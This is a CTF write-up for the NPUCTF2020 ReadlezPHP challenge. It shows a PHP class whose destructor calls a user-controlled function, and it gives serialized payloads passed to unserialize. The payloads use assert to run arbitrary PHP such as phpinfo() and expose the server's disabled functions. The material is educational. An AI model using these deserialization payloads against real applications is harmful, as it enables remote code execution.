当前位置:网站首页>[NPUCTF2020]ReadlezPHP
[NPUCTF2020]ReadlezPHP
2022-07-06 11:32:00 【Her&mes】
WP
If there is any wrong , Also please correct me
Enter the target environment , Go through the process :
1. Look at the source code
2. Manually try to access several common web page names ,
3. use dirsearch Scan website .
Find a link directly in the source code :
<p> Millions of front-end NPU The time center tells you the time :<a href="./time.php?source"></a></p>
visit /time.php?source
, Now enter the subject gate , White box audit , It seems to be a relatively simple deserialization
White box code :
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
Try to construct payload
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:4:"eval";}
And then there's no then , Page echo “500, Unable to process request ”, I have no more , There's a filter , Then change the code , structure payload
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:12:"var_dump(10)";s:1:"b";s:4:"eval";}
Same as before , Unable to process request , But var_dump() Generally speaking, it should not be filtered , May be eval Filtered , Switch to assert try
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:12:"var_dump(10)";s:1:"b";s:6:"assert";}
success , Page echo int(10) 2021-04-07 12:39:47
hold var_dump(10) Switch to phpinfo(),( Remember to change the size ), very good ,phpinfo Not filtered , see disable_functions bar , It's filtered out system,exec,shell_exec
Try searching again flag,ohhhhhhhhhh, There are ( If this is empty … On the importance of good habits ).
PS:assert from 7.2 Strings are no longer supported at first => Cannot perform PHP Code. ( This topic is in BUU On is PHP/7.0.33)
边栏推荐
- Pytorch基础
- QT creator uses Valgrind code analysis tool
- Machine learning -- census data analysis
- Connexion sans mot de passe du noeud distribué
- QT creator create button
- 库函数--(持续更新)
- Summary of numpy installation problems
- Rhcsa certification exam exercise (configured on the first host)
- 2020网鼎杯_朱雀组_Web_nmap
- 常用正则表达式整理
猜你喜欢
Valentine's Day flirting with girls to force a small way, one can learn
QT creator shape
软件测试与质量学习笔记3--白盒测试
Integration test practice (1) theoretical basis
error C4996: ‘strcpy‘: This function or variable may be unsafe. Consider using strcpy_ s instead
Learn winpwn (3) -- sEH from scratch
Deoldify project problem - omp:error 15:initializing libiomp5md dll,but found libiomp5md. dll already initialized.
One click extraction of tables in PDF
About string immutability
Introduction and use of automatic machine learning framework (flaml, H2O)
随机推荐
第4阶段 Mysql数据库
[NPUCTF2020]ReadlezPHP
wangeditor富文本组件-复制可用
AcWing 1294. Cherry Blossom explanation
[Blue Bridge Cup 2017 preliminary] buns make up
误删Path变量解决
Rhcsa certification exam exercise (configured on the first host)
error C4996: ‘strcpy‘: This function or variable may be unsafe. Consider using strcpy_ s instead
4. Install and deploy spark (spark on Yan mode)
QT creator design user interface
Ansible practical series I_ introduction
Deoldify project problem - omp:error 15:initializing libiomp5md dll,but found libiomp5md. dll already initialized.
Pytorch基础
【flink】flink学习
Image recognition - pyteseract TesseractNotFoundError: tesseract is not installed or it‘s not in your path
Project practice - background employee information management (add, delete, modify, check, login and exit)
[蓝桥杯2021初赛] 砝码称重
Antlr4 uses keywords as identifiers
分布式节点免密登录
解决安装Failed building wheel for pillow